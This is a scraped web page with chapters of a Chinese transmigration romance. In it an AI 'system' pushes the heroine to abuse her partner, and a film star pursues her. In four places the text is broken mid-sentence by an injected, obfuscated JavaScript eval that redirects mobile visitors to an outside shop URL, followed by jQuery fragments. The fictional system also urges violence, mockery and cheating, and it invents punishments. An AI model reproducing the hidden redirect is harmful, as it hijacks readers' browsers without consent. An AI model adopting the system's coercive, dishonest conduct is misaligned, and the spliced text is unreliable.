李惜白清清嗓子,换上一副正经表情:“在很久很久以前,有个怕鬼的小女孩……”
“她每天晚上都用被子把身体包裹得严严实实,手和脚从不伸出被子外面,觉得这样就不会被鬼看见了。”
“结果有一天,鬼真的来了,它绕着床走了一圈,然后慢慢低下头,张开嘴,”李惜白故作神秘地停顿片刻,“把小女孩露在外面的头咬掉了。”
容莲迅速把脑袋缩进被子里。
李惜白脸上的笑完全要控制不住,本想替容莲把小夜灯的亮度调高一些,却不小心扭错方向,微光“哒”一声灭掉。
突然,身后猛然扑来一个携着飞被的人,李惜白还没反应过来就被扑倒在床上,连头也被盖进被子里,栀子花香充斥鼻尖,顺滑的头发在颈窝处打转。
容莲的脸颊很凉,轻轻贴着她耳朵,有些发抖。
李惜白伸手试图推她:“我要不能呼吸了……”
对方已经无法答话了,李惜白几乎能感受到她额头的冷汗。
被摩擦着的耳垂越来越烫,与容莲冰凉的状态简直天差地别。
李惜白现在完全懂了什么叫自作孽不可活。
*
“成衣准备好了吗?”
“已经差不多了。”
“差不多是什么意思,不要给我说这种模棱两可的话,”李青拧起眉,把设计方案摔在桌上,语气冷漠,“知道时间紧迫还一直请假,你当公司是你家开的吗?”
容莲弯下腰,看也不看她:“抱歉,李总。”
“后天就要开始展示了知道吗?现在连成衣都没备好,你做什么去了?”
容莲依旧低着头。
“算了,”李青如今的脾气已经好了不少,更何况她的确满意容莲的这份设计,“走秀的模特找好了吗?”
“……还没有。”
李青手撑着太阳穴揉了揉,疲倦道:“不用找了,我帮你找了个人。”
“谢谢李总。”容莲顺从地回。
“这几天工作量可能比较大,元旦也要加班,提前和小白说好,别让她生气。”
“好的李总。”
李青土皇帝一样摆摆手,差点说出“那就退朝吧”,还好硬憋住了。
“你出去吧。”
容莲“嗯”一声,推了门出去,在关门的最后一瞬,余光瞥见有个黑色不明物体从李青的办公桌下钻出来。
容莲死死关上了门。
……
按照李青的说法给李惜白发了消息,很快便收到了一个淡得不能再淡的“嗯”,根本没有李青口中的生气或不满。
容莲望向窗外,天空是无尽的蓝,一点云彩也没有。她低下头,又打了一行字——“我的比赛你会来吗?”
食指悬在发送按钮上,久久点不下去。
手机突然叮咚响了一下。
【阿白:比赛地点发给我。】
*
新的一年已经来临,天空中飘起了雪,洋洋洒洒地包裹住整片天地。
刚下飞机的李惜白坐在车内,托着腮看外面铺天盖地的雪。
“已经到时间了是吗……”
“是的宿主,请宿主未来一月完成以下计划:让主角受重新回归心灰意冷的状态,促使其彻底转化。推荐方式包括,暴力肢体行为,语言嘲讽,出轨……”
“能不能体面一点?”
“请宿主不要挑三拣四。”
李惜白撇了撇嘴,知道和这个机器系统说话是白费时间。
“好吧。”李惜白叹一口气,看着周围越来越多的人群,不禁皱着眉问司机,“这个比赛为什么有这么多观众?”
司机愣了一会才反应过来她是在和自己说话,而不是自言自语,连忙答道:“有设计师会请明星来当走秀模特,粉丝自然多一些。”
这要多有钱才能请明星啊……
李惜白还没适应富二代身份,遇到什么事都会先掂量掂量价格。
“小姐,前面人太多,车可能开不了,需要您走过去。”
“好。”李惜白拎了包开了车门,却在刚下车就被一众粉丝挤到,差点摔倒在地,司机连忙下车扶住她。
“没事……你先回去吧。”李惜白摆了摆手,有点头疼地望向乌泱泱的人群。
她们个个手中提着大包小包,大概是些摄影仪器和周边横幅什么的,有的手中还握着手写信,脸冻得通红还扬着笑容,人群中间则安安静静让出一条道,供来往人员通过。
李惜白简直羡慕得要死,
要是她有这么多粉丝,就算被人骂死也愿意。
远远地来了一辆黑色保姆车,有人开始尖叫,却又很快被制止,横幅被陆陆续续拿出来,李惜白看了几眼,只看到一个叫“Iris”的英文名。
请的还是外国明星?
保姆车从那条空出的道路中经过,缓缓驾驶到展厅门口,车门滑开,几个黑衣保镖护着一位穿得极其严实的女人出来,快步进了展厅。
只是几步路,只是几秒钟,快门声和尖叫声却爆炸一般响开,拥挤在人群中的李惜白捂住耳朵才能防止自己不变成聋子。
保安在疯狂维护秩序,李惜白被当成粉丝往外驱赶,无奈之下只好打电话让容莲出来接自己。
那头几乎是立刻接通了,然而还没等李惜白说话,一道极为陌生的声线在那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722346|189427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
边响起:“你答应过我的!你答应我不来见她!”
怒气,质问,还有一点歇斯底里的崩溃。
李惜白废了好大劲才辨认出这就是容莲的声音,犹豫问:“……你在,和谁说话?”
电话那头短暂地沉默了片刻。
“对不起,我刚刚认错人了。”容莲的声音又恢复平静。
李惜白“哦”一声,继续道:“你现在能不能出来接我一下?”
容莲又沉默了一会儿,“抱歉,我还在忙,你先回去吧。”
“哈?”
她好不容易千里迢迢地赶来了,现在让她回去?
李惜白还想反驳什么,那头却又立即断了音。
“宿主,你不能回去,接下来有重要剧情。”系统提醒道。
“我当然不能回去,”李惜白蹙着眉从人群中挤出来,又摁通了李青的电话,“我倒要看看她在搞什么鬼。”
*
手轻轻抚过这件红裙,领口、腰侧、裙边,每一针每一线都都经过容莲精心打磨,饱含着她的情绪,浸润着她的心血。
容莲的眼中泛起悲伤,手慢慢摸索起一旁的剪刀。
手机在这时轻微震动了一下,闪起亮光。
容莲点开,看见李青发来一条消息。
“我认为你是个识大局的人,不会情绪做事。这个模特是你最好的选择。”
容莲眼中的微光沉了沉,又看见她发来的第二条消息。
“我一会把小白带去你那。”
容莲抬起眼,又静静地看着那件裙子,最终把剪刀放下。
……
李惜白从进来那一刻就被那些奇装异服吓到了,漂亮不漂亮的难说,只能说格外让人移不开眼。
李青对她解释:“这次比赛全程直播,那些是为了增加看点特地设置的。”
直播?怪不得要请明星。
“还有就是……你也看到了,那个人也会来。”
“谁?”李惜白真诚发问。
李青打量她几眼,确定她真的没有在装,放下心来:“你能放下她就好,容莲虽说出身不好,但为人还是不错的。”
“……你不是上次才说完她坏话吗?”
李青顿时有些尴尬,要是旁人敢这样说,她早就发脾气了,可偏偏站在眼前的人是自己亲妹妹。
只能装听不见。
“我先把你送去容莲那吧……”
“阿白!”身后突然有人叫她。
李惜白转了头,见容莲隔着十几米远的位置冲她招手。
容莲今天穿得很漂亮,延续了以往清冷的风格,一件简约的白色礼裙,珍珠耳饰随着轻微晃动而闪着光。
不过李惜白看见她就觉得冷。
她很快走过来,握上她的手,笑容却很勉强:“跟我来吧。”
容莲戴着一双白色长袖皮质手套,握着的时候会很凉,李惜白任由她牵着,随她来到一个房间。
刚进了门,没等李惜白问这是哪,容莲就紧紧抱住了她,头依靠在她的颈窝,身体轻微颤抖着。
李惜白推不开她,好在房间里很昏暗,也没有旁人,至少不会被人发现。
察觉到李惜白的抗拒,容莲抬起头,盯住她的眼睛看了看,缓缓开口:“在这等我好不好?”
“嗯?”李惜白不明白她什么意思。
容莲松开她,把手套褪下来,轻轻抓住李惜白的细瘦的手腕,用手套一圈圈绕住。
李惜白眼睁睁看着她把自己绑起来,然后走出去,关门,上锁。
屋内沉寂了好一会。
“宿主,“系统最终下了定论,“我觉得主角受应该是把你关起来了。”
……废话。
19. 你咬我?
容莲绑的手法很不高明,随便挣一挣就能松开。
李惜白把手套搭在门把手上,在墙上摸索几下,开了灯。
这里看上去是个杂物间,罗列着各式各样的衣服,还有些包装完好的被装在纸箱里,只是最里面摆了张小桌,上面放了两小碟糕点和果切,看上去都是新鲜的。
容莲的体贴属性未免也太高了。
李惜白搬了个纸箱坐下,边用叉子插起块菠萝,边拿出手机给容莲发消息。
【你这是干什么?】
系统看她这副不急不躁、悠闲自得的姿态,忍不住问道:“你到底有没有打算完成任务?”
李惜白很快吃完那一小碟果切,见容莲还没回她,兴致缺缺地闭了手机。
“你还没告诉我任务是什么呢。”
系统仿佛在现编,顿了顿才道:“当众羞辱主角受的设计,让她颜面尽失。”
“那你知不知道她为什么要把我锁在这?”李惜白低着头打字,随口问着。
“系统不具有上帝视角……一定是宿主你又做错了什么。”
“你可以看看这个。”李惜白输完那行字,点了搜索键,一个有关“Iris”的名人词条弹出来。
Iris,中文名顾轻水,中德混血的中国籍女演员、歌手、电影制片人……以三座“影后奖”桂冠及国际奖项大满贯的成就,成为风靡全球的巨星……
“看到了吗,”李惜白有种已经洞察秋毫的自信,“刚刚那个女明星就是顾轻水,如果我没猜错,她来这就是为了给容莲当模特,再顺便追求容莲的。”
“而容莲怕我看见攻一与她亲昵,乱发脾气,毁了这场比赛,为了以绝后患,就把我关在这里了。”
李惜白这话说得有条有理,十分让人信服。
连系统都不得不赞叹:“宿主你真是大智若愚。”
……说谁看着蠢呢。
“所以,我现在不能出去破坏她们的感情进展,”李惜白笃定道,“所以你的任务只能往后放。”
系统颇为认可:“你说的对。”
……
只是在这里呆着,听着很轻松,可真实践起来就有些苦了。
房间太狭小,也没有个正经椅子,网络更是时好时坏,她只能玩单机和系统下五子棋。
实践证明,她玩不过ai。
期间,李青给她发消息问她在哪,她只好装没看见。
话说容莲也太不严谨了,连手机都没收走,能老老实实待在这里全凭她李惜白自觉。
大概是李惜白第46次被系统无情pk掉,陷入深深的虚无后,开门声突然响起。
门把手被压下,搭在上面的手套掉落,摔出清脆的一声“啪”。
容莲垂眼看了眼手套,蹲下身,把手套捡起来。她身上披了一件黑色西装外套,与那身白裙珠饰的清冷打扮并不和谐,一看就是属于别人的。
“你还在啊,”容莲轻缓道,眼睛看着她笑,“我以为你已经走了呢。”
李惜白觉得她状态不对,虽说一直看着她,可眼神有些失焦,马上就要魂飞魄散一样。
李惜白自然没有忘记自己的任务,当即便冷笑道:“你胆子真是大了,连我你都敢关。”
“门锁是坏的。”她说。
李惜白顿时心虚了,锁是坏的,自己却还在这,证明自己连出去的念头都没动过,实在说不过去。
只好再冷哼一声,生硬地扯开话题,“难道是怕我看见你那上不了台面的作品,笑话你?”
容莲握住手套的手攥得紧了些,面上却并无变化,目光一刻也未曾离开过她。
李惜白知道这对于容莲来说是很过分的话,可为了任务,不得不硬着头皮继续冷飕飕地笑:“还是说你攀上了哪个大人物,不敢让我看见,这外套不是你的吧?”
手突然被握住,容莲的脸贴上来,近到咫尺的距离。
“阿白,别再这样说话了好不好?”她眉头委屈地蹙着,语气几乎在哀求。
李惜白愣了愣,唇张了一下,却实在说不出辱骂的话。
这么大一朵白莲,谁下得去狠心啊!
只是愣神的一个间隙,湿软的舌头猝不及防地伸了进来。
李惜白瞪大双眼,刚要推开她,那吻却突然变成了咬。容莲轻轻捧着她的脸,用力去咬她的舌尖,无比埋怨、痛恨地咬下去,似乎在报复刚才的话。
痛感从舌尖蔓延开来,李惜白来不及思考为什么,下意识的一掌就挥了过去。
出乎她意料的是,这并不算多重的一掌,直接把容莲扇晕在地了。
西装外套从她肩头滑落,素净的白裙露出来,耳边两颗珍珠一颤一颤地晃,双眼安详地闭上,唇边还诡异地带着一丝血。
真是我见犹怜。
要不是那血是自己的,李惜白都想跟她道歉了。
“恭喜宿主成功使用暴力肢体行为,请继续努力。”没有眼力见的系统说话了。
恭喜个大头鬼。
李惜白用手背紧贴着还在冒血珠的唇,心情复杂地看着那位晕在地上的家伙。
然后看了看自己具有神力的右手。
最后给李青打电话。
“喂……我好像,把容莲扇晕过去了。”
*
“低血糖,神经太紧张,晕厥是正常的,输了液平卧休息一会儿就好。”
护士向李惜白交代几句就离开了。
她托着腮百无聊赖地看了容莲几眼,帮她往上挪了挪被子。
李青在陪她把容莲送到医院后就气冲冲地走了,走之前扯了一堆成语,什么前功尽弃、一败涂地之类,总之对容莲很为不满意。
李惜白也了解到,容莲是比赛到中途,突然去找的她。
舌尖还在发疼,李惜白甚至感觉到那块摇摇欲坠的肉快要掉下来。
为了转移痛感,她拿起手机开始刷视频,为了避免吵到容莲,还体贴地开了静音。
不知道是不是因为刚刚搜过“Iris”的缘故,各大平台开始疯狂为她推荐这位影后的各种美图。
其中最新一组,便是她着一身复古宫廷风酒红色礼服裙走在T台上,修身的裁剪和宽大裙摆衬
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16734609|189427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得她整个人无比优雅,肩颈处和裙摆点缀着立体玫瑰,长而顺的金发如瀑落下,肤色更是白皙过了头,像是从中世纪欧洲款款走来的贵族之女。
就连嘴角勾起的弧度也相当自信,抬着手臂微微挥手,仪态完美得像经过最严苛的训练。
优雅,高贵,无与伦比,这是她给人留下的第一念头。
连李惜白都暗自感叹了一句不愧是正宫。
鬼使神差地,李惜白点开某博,试了试自己在原世界的账号密码,竟然神奇地登上了。
不过翻了翻这个账号博文,却又明显是原身的账号,关注了很多明星,却一条博文也没有,不像苦命打工人李惜白,不管多苦多累,都会定期给自己并不存在的“粉丝”发些物料,录几个无聊视频。
令李惜白意外的是,原身也关注了顾轻水。
顾轻水的微博头像是一只白色比熊犬,穿了一身公主裙,眼睛瞪得圆溜溜的,看着很讨人喜欢。
可惜李惜白是猫党。
戳进她的头像,里面清一色的广告,李惜白划拉几下就失了兴趣,退出来看了眼热搜,顿时就被惊到了。
前五条都是有关顾轻水的,后面缀着一个【爆】字,话题讨论度只增不减。
李惜白的第一反应自然是眼红,她在娱乐圈呆了那么久,唯二上过的热搜,一是【某李姓小花疑似出柜】,二是【小演员的不容易】。
第二条还算是红稿,给她涨了十来个粉丝,第一个就……李惜白至今不知道那个营销号是怎么从一张平平无奇的生活照里,扒出她是女同的。
她那些年兢兢业业,一个恋爱都不敢谈,看一眼违约金数字的长度就能彻底断情绝爱,比起喜欢女人,她还是更喜欢钱一些。
痛苦地回忆了一会儿,点进这几条热搜,评论里的粉丝全都疯狂了。
那露骨程度根本不忍直视。
李惜白面不改色地往下滑,直到看到一段视频。
视频中有两个女人,身着红裙的那位侧脸很清晰,就是顾轻水,而另一位隐在昏暗里,看不清正脸。
顾轻水给那个女人披上了一件黑色西装外套,在她耳边低声说了什么,女人在原地愣了会,僵硬地走了。
视频配文是“这个给工作人员披外套的动作我不行了啊!!好a!!”
李惜白拉着进度条反反复复看好几遍,在结尾的一瞬女人的脸被灯光照了一下。
苍白的,紧绷的表情。
是容莲没错。
李惜白果然没猜错,那件外套是攻一给她披上的,容莲果然已经和她有奸情了。
“恭喜宿主,看来主角受和攻一的感情已经大为推进了!”
这机器脑子又不分青红皂白地恭喜上了。
李惜白用唇抿抿隐隐作疼的舌尖,冷不丁问:“那她刚刚亲我是什么意思?”
“宿主,那不是亲,是咬。”
“……你的意思是,我说话太难听了,她讨厌我,所以咬我?”
“是的宿主,”系统安慰她,“没事,这是剧情需要,你早晚都会被主角受讨厌的。”
20. 有病啊
李惜白:“你拿我当傻子骗呢?”
系统很崩溃:“那她为什么咬你啊!她总不可能是喜欢你喜欢到没办法了吧!你这样说让我怎么发展剧情啊!”
“一定是宿主你又做错了什么……不,你全都做错了!”
李惜白算是发现了,这机器脑子想办法是不会的,推卸责任倒是很利索。
她无语了片刻:“那你想怎么办,惩罚我?”
系统一直拿它新得来的惩罚机制耀武扬威,却从来没用在李惜白身上,时间久了再傻的人也要起疑。
系统沉默许久,最终道:“我惩罚你一个月不能睡觉。可怕吧?”
“……嗯。”
系统见这人满不在乎的样子,赶紧解释:“你可能不知道,人不睡觉最多10天就会死亡。”
李惜白已经确定这ai连惩罚都敢瞎编了,但剧情还是要走的,只好顺着它的话来:“那我怎么才能弥补自己的过失,免掉惩罚呢?”
系统假装沉思一会儿:“肢体暴力和言语讽刺已经都试过了,接下来只有一种办法了。”
“那就是,出轨。”
*
从病床上醒来的时候,容莲身边一个人也没有。
她默默垂下眼帘,本打算给李惜白发条委屈巴巴的消息,却一打开手机就看见李青十几条未读消息,最后显示的一句是“好,你今天正式被辞退了”。
容莲顿时失了所有兴趣。
她摸了摸被摔痛的后脑,眼前有些发黑,连有人走到自己跟前都没发现。
原星弯下腰把头探到容莲眼前,突然开口:“喂,你这不是没事吗?”
容莲被吓了一跳,捂住心脏,表情有些痛苦地低下头。
“哎!你别讹我啊!”原星连忙与她拉开距离,无辜摊开手,“我可什么都没干。”
容莲依旧低着头,身体微微发颤。
原星眼见自己要搞砸,急忙给李惜白打了电话,特地点开免提:“喂!你们合起伙坑我啊!你不是说我照顾一下就好吗?怎么都要死了?”
对面沉默一会:“……我不是说了不要说是我让你去的吗?”
“呵,所以她就能赖上我了?”原星不屑,“我是看在你主动和我和好的面子上才答应的,你们却和我搞这出……”
边说着,她的目光慢慢移回容莲的身上,却见刚才还痛苦万分的容莲已经掀被下床,从从容容来到她身边,头靠着手机轻声说:“阿白,今晚早回家哦。”
对面立刻挂了电话。
剩下原星一人僵在原地。
她,居然,是,演的?
原星感觉今天才见识到容莲的真正面目。
容莲对还在发懵的原星露出了和善的笑容:“谢谢你来看我,不过我没有什么太大问题,就不劳烦你照顾了。”
“哦,”原星还是不太能反应过来,“对了,李青因为你退赛的事情很生气,这段时间最好不要招惹她。”
“放心,我以后都不会了,”容莲轻松地笑,“我要辞职啦。”
那个“啦”的尾音欢快得像是赚了八百万。
原星嘴角抽动,这人,该不是摔到脑子了吧?
*
挂了电话的李惜白无力瘫在角落的卡座里。
搞什么啊,原星这个家伙连这点小事都做不成吗?
原主都交的什么朋友啊!
周围的光线很暗,隐隐响起女性的浅笑声,低声交谈,碰杯。
没到夜晚的拉吧还算清淡,台上的驻唱的声音很甜美,不是平时那种酷飒风格,听久了只觉得很温柔很催眠。
这还是李惜白第一次踏进拉吧,看着周围全是拉拉扯扯的女人,莫名不太自在,仿佛孤身一人的自己是个怪人。
把面前的空酒杯在桌上转一圈,万分无聊地托着腮,脑中又想起系统刚才的话。
“主角受其实是个很传统的人,就算对渣攻的容忍程度再高,也绝对不允许渣攻背着她另寻新欢。”
“但由于宿主您丢失了原主过去情人的消息,只能请您自行去找新情人,带着新情人去主角受面前羞辱她,这样就——”
“非要这样吗?”李惜白打断它。
系统严肃起来:“如果宿主再次修改计划,将受到严重惩罚!”
“……两个月不能睡觉?”
“错,”系统无情道,“是三个月。”
……
后背突然被轻戳了一下,一张很年轻稚气的脸探过来,声线软软的:“姐姐,可以喝一杯吗?”
李惜白望了她一会:“你成年了吗?”
女孩脸红了几下,低下头柔声道,“快了,还有几个月。”
李惜白并不想残害祖国的花朵,给她点了杯果汁就抓紧退场,丝毫不顾系统的疯狂阻止。
谁知道刚走到门口,就被一个全副武装的人迎面撞了上来。
李惜白本来走得就急,那人穿得又厚,简直像穿了层铠甲,直接把李惜白撞得弹走,后腰磕到桌子的尖角,痛得眼泪都要出来。
还没等李惜白开口骂,那人就神经兮兮地凑上前,慌乱地倒着歉,期间还摸了好几下她的头,在那一个劲念叨着“不疼”‘不疼”地瞎安慰。
那人戴着厚厚的黑手套,脸被巨大的墨镜和口罩遮住,就连额头都被毛绒线帽盖住,半点皮肤都看不见。
不过她的声线特别华丽,像是歌剧人物一样,每个音节都镶着金边。
李惜白扶着腰往一边退,猜测这人是个精神病。
谁知道那人又凑过来,把墨镜摘了一半,低声道:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16740393|189427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“是我啊。”
李惜白看着她露出的上半侧眼睛,更加确定她不认识这个精神病。
那人却一把抓住李惜白的手,坚定道:“这里不安全,你和我出去。”
“滚啊,”李惜白彻底被这个精神病搞恼了,“大姐,我认识你吗?”
那人的手顿时松开了,静静地呆滞一会儿,没有露肤的脸上明显表现出失落来。
李惜白警惕地退后一步。
那人连忙前进一步。
李惜白再退一步。
她再进一步。
……
“大姐,你到底要干什么?”李惜白无奈了。
“惜白,我知道你很想我。”精神病莫名其妙冒出这样一句话。
李惜白大惊:“你你你你怎么知道我的名字!”
“因为我很厉害。”精神病诚恳道。
这是什么鸟话?
“宿主,”一直沉默观看的系统开口了,“我看她很不错,就先收了她吧。”
……你当这是收衣服呢?
身后就是墙,退无可退。
“好了,”李惜白伸出两根指头定住那人额头,表情勉强地看着她,“别往前了。”
那人把李惜白的手从自己额头抓下来,对着她严肃道:“真的要走了,不然会被人认出的。”
李惜白深吸一口气,为了以后能彻底拥有原主的财产,为了美好的荣华富贵,她豁出去了。
“去哪?”李惜白问。
那人低头沉吟片刻:“还没想好。”
“……你还是滚吧。”
“没事,先上车再说。”那人点点头,像是自己认同了自己的话,扯住李惜白的手就往外走,周围人一直以为这俩人刚才在调情,一个站出来阻止的都没有。
出了门,还没等李惜白后悔,一辆黑色的迈巴赫s680就缓缓停在了身前。
那人开了车门,先钻了进去,然后望着外面的李惜白:“进来啊。”
李惜白承认,她那时候绝对是有机会逃的。
可摸着那厚重的车门,仿佛在摸着真金白银。她忍不住咽了咽口水,进了车。
“小姐,您经纪人刚刚打电话了,让您早点回去。”司机稍微向后偏过头,对那人道。
“嗯,让她不要担心,我有分寸的。”那人开始脱装备,美丽的面庞逐渐露出来。
李惜白的目光却一直盯着前面的司机,这个女人,怎么这么眼熟……绝对在哪见过。
对了!玫瑰!帮顾轻水送玫瑰的那个保镖!
等等……
不对……
李惜白僵硬地把目光移到那个精神病身上。
顺直金发倾泻而下,白皙的皮肤在阳光下熠熠发光。
顾、轻、水!
21. 捉奸
顾轻水随手掏了个黑发圈,将金发拢起扎了一个松垮的低马尾,再顺手把即将要跳窗逃离的李惜白捞回来。
李惜白被迫对上那张带着点诡异兴奋的优雅脸庞。
鬼知道这些词是怎么出现在一个人身上的。
顾轻水弯着眼笑,用她华丽无比的声线问:“我们先去酒店吗?”
“去做什么?”
“□□啊。”
“……你要不要听听你在说什么?”
前面的司机正襟危坐,像是聋了一样。
“我听到了啊,我说□□。欸?惜白没有听到吗?我可以再说一遍……”
李惜白抓紧捂上了她的嘴。
不要用这种脸这种声音说这种话啊喂!
顾轻水眨眨眼看她,被捂住的嘴含糊而坚强地开口:“你不想让我说话吗?”
“废话!”
顾轻水叹息一声,把她的手扯下来,轻轻放在自己胸口前:“我知道,你只要一见到我,就会不可自拔地爱上我。你的理智将在我面前土崩瓦解,你的灵魂会如飞蛾扑火般向我坠落,从此深陷泥潭,再也无法忍受没有我的世界。所以,你并不想见我对不对?
李惜白被这鬼话说懵了,半天才回过神来。
“你……脑子正常吗?”
“嗯?”顾轻水歪头,和善微笑。
系统显然也没预料到这个走向,一直在装死机不说话。
“大姐,”李惜白实在没想到顾轻水会和这个渣攻认识,一时想不出办法,干脆坦白,“其实我不是李惜白你知道吗?”
“哦?那你叫什么名字?”顾轻水还在微微浅笑,一看就不信。
“……我虽然和她名字是一样的,但我不是你认识的那个李惜白你懂吗?”
顾轻水将她从头到尾打量一遍,恍然大悟地点点头,一本正经道:“你失忆了。”
“不是失忆,你在想什么啊!”
“那就是……”顾轻水若有所思地摸着下巴,“你穿进了一本书,这个角色恰好和你同名同姓,对吗?”
李惜白震惊了。
系统也震惊了。
系统爆发出尖锐的鸣叫:“怎么可能!她们有自主意识了?角色要反抗了吗?世界要崩塌了?”
顾轻水哼笑一声:“这种烂剧的套路我也看过不少,你可以再换个新鲜的借口。”
……不知为什么,李惜白有一瞬间的庆幸。
系统沉寂了片刻,开始发出厉声警告:“请宿主不要再做出此种危险行为,为表警戒,系统将惩罚宿主24小时内无法入睡。”
“惩罚开始。”
李惜白只觉得一瞬间清醒了不少。
连顾轻水垂下的金发丝都似乎更清楚了,几乎到了根根分明的地步,轻柔地落到自己前胸。
不对。
李惜白赶紧伸手推开她:“你贴我这么近干什么!”
“因为你想让我亲你。”顾轻水坚定不移地继续凑上去,像一只大型金毛犬求摸头一样。
大姐,造谣也不是这么造的啊!
李惜白双手交叉挡在面前,哭丧着脸对司机大喊:“停车,停车,我要下去,你们这是绑架!”
司机充耳未闻,李惜白都要感叹她的心理素质了。
顾轻水则却兴奋了些,抓开她的双臂,盯着她的脸看了一会儿,又很快松开。
“为什么要哭?”顾轻水递给她一张纸巾,语气中透着不解,“以前你都会笑的。”
李惜白接了纸,装模做样地擦擦硬挤出的眼泪,“我要下车。”
真没想到有天她会在影后面前拼演技。
顾轻水轻轻摇头,“惜白,你就算哭坏了眼睛我也不会放你下车的。”
“……”
顾轻水喝了假酒一样自信笑笑:“这个台词是不是很霸气?”
李惜白差点骂人。
*
司机的目光频繁看向后视镜,那辆白色轿车,已经跟着她们拐过三个弯,行过了四个路口。她不动声色地加重了油门,提快速度,那辆白车却像幽灵般如影随形地跟上。
“小姐,后面好像有跟车,”司机双手紧抓方向盘,“要不要甩开?”
顾轻水转头往车外看了一眼,冷声道:“甩开吧。”
“好的小姐。”
速度再次提高,顾轻水轻抓住李惜白的手,也不管对方害不害怕就开始安慰:“没事的,不要怕,小林很有经验的。”
说着说着,身体靠得越来越近,几乎又要贴上。
李惜白急忙把手抽出来。
就在这时,发现她们加速的白车疯了一般冲上来,几乎要与她们并行,车窗降下一半,长焦镜头伸出来,正对着顾轻水。
顾轻水皱了皱眉,把口罩和墨镜重新戴上。
虽说隔着车窗,顶多只能拍到一个大致轮廓,可这种被疯狂关注窥探的目光实在令人无法忍受。
前方的绿灯在闪烁,小林将油门踩到底,极限过了绿灯,彻底将白车甩在身后。
怕白车找到她们的目的地,又特意七弯八拐走了些小道,足足绕了几个小时,才进了一个高档小区。
顾轻水还颇为抱歉地向她解释:“今天去酒店太不安全了,只好让你来我家了。”
“你家?你住这吗?”李惜白疑惑。
“前天刚买下的,毕竟要在这待半个多月呢。”
有些壕无人性了吧。
顾轻水看着她笑笑:“开玩笑的,是我朋友家。”
“哦……”李惜白突然反应过来,“不对不对,你带我去你朋友家干什么?”
顾轻水却拉起了她的手,深情望着她:“惜白,为什么总是说这种无关紧要的话,我们干正事好吗?”
“……正事个鬼啊!”李惜白彻底搞不懂这人的思维了。
说好的优雅端庄、完美无瑕大明星呢?这不是纯变态吗?
下车后,司机驾车走了,李惜白则被半拉半拽着上了电梯,期间无数次敲脑袋问系统该怎么办,却只得到系统的一句话:
“请宿主自行处理。”
顾轻水脸上一直带着优雅的笑容,不慌不忙用指纹解锁开门,把包随手放在入门的柜子上,像回自己家一样。
里面并没有人,各种家具也像根本没动过一样,可见这家主人并不常住在这。
顾轻水突然想起什么:“哦对,要先给她打个电话,贸然闯入民宅毕竟会有些不礼貌。”
“你这不是已经进门了吗?”李惜白无语。
“没关系,她没有安监控,不会知道的。”顾轻水莞尔一笑,从落地窗射进来的阳光一瞬间又拥上来,李惜白差点被那耀眼笑容亮瞎了眼。
这家伙不会是手电筒成精吧?
顾轻水打了两遍电话,那边才接起,而顾轻水也没有丝毫不耐,平淡说完自己的请求,然后轻“嗯”几声,对那头微笑道:“等有时间再聚吧。”
接着挂了电话,从容地把半只脚踏出门的李惜白拽回来。
“饿了吗,先吃点东西?”顾轻水波澜不惊道。
李惜白再一次逃离失败,已经有些心死,干脆破罐子破摔:“好啊,你还会做饭吗?”
顾轻水自信无比:“当然不会。”
“……你在骄傲什么?”
“但我会点外卖。”
“哈?”李惜白要被气笑了,“你这么有钱还点外卖?不应该有私人厨师吗?”
“她最近辞职了,还没有找到新的厨师。”
李惜白沉默一会,“这么好的工作还会辞职吗?”
“没办法,”顾轻水遗憾地摇摇头,“她爱上我了,但因
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16748980|189427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为无法独占我,所以伤心欲绝,只好逃离我。”
李惜白被噎得说不出话。
顾轻水还在无法无天地继续输出,双手虚握在胸口前,像是戏剧人物独白一样:“但我的爱是无法只给一个人的,因为没有人会不爱我,没有人会拒绝我,这就像是太阳会东升西落的自然法则一样,我不想让她们伤心,更不想世界因此变得黯淡……”
天……
李惜□□神有些恍惚。
眼前这家伙真的是正常人类吗?
*
黄昏的暖光落进来,顾轻水的手指还在屏幕上划动着。
她已经挑了一个多小时外卖了。
